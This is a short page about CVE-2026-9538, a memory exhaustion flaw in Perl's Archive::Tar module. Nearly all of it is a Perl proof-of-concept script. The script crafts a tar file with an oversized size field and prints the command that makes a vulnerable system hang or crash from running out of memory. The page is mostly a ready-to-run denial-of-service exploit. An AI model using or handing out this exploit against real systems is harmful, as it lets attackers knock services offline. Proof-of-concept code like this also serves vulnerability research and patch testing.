CVE-2026-9538: Archive::Tar内存耗尽漏洞

#!/usr/bin/perl # PoC for CVE-2026-9538: Memory Exhaustion in Archive::Tar # This script generates a crafted tar file with a massive size field. my $filename = "exploit_CVE-2026-9538.tar"; open(my $fh, '>', $filename) or die "Cannot open file: $!"; # Construct a malicious TAR Header (512 bytes) my $header = "A" x 100; # Name $header .= "0000644\x00"; # Mode $header .= "0000000\x00"; # Uid $header .= "0000000\x00"; # Gid # Vulnerability: Size field set to a huge number (e.g., 10GB+) # This value is taken directly from the header without bounds checking. $header .= "99999999999\x00"; # Size (12 bytes) $header .= "00000000000\x00"; # Mtime $header .= " "; # Checksum placeholder (spaces) $header .= "0"; # Typeflag (regular file) $header .= "\x00" x 100; # Linkname $header .= "ustar\x00"; # Magic $header .= "00"; # Version $header .= "\x00" x 32; # Uname $header .= "\x00" x 32; # Gname $header .= "\x00" x 8; # Devmajor $header .= "\x00" x 8; # Devminor $header .= "\x00" x 155; # Prefix # Pad header to 512 bytes $header .= "\x00" x (512 - length($header)); # Calculate checksum (sum of bytes + checksum field as spaces) my $sum = 0; for (my $i = 0; $i < 512; $i++) { $sum += ord(substr($header, $i, 1)); } # Insert checksum into header my $checksum_str = sprintf("%06o\x00 ", $sum); substr($header, 148, 8) = $checksum_str; print $fh $header; close($fh); print "[+] Created malicious tar file: $filename\n"; print "[+] To trigger the vulnerability, run the following command on a vulnerable system:\n"; print " perl -MArchive::Tar -e 'Archive::Tar->new()->read(\"$filename\")'\n"; print "[+] Expected result: Process hangs or crashes due to Out Of Memory (OOM).\n";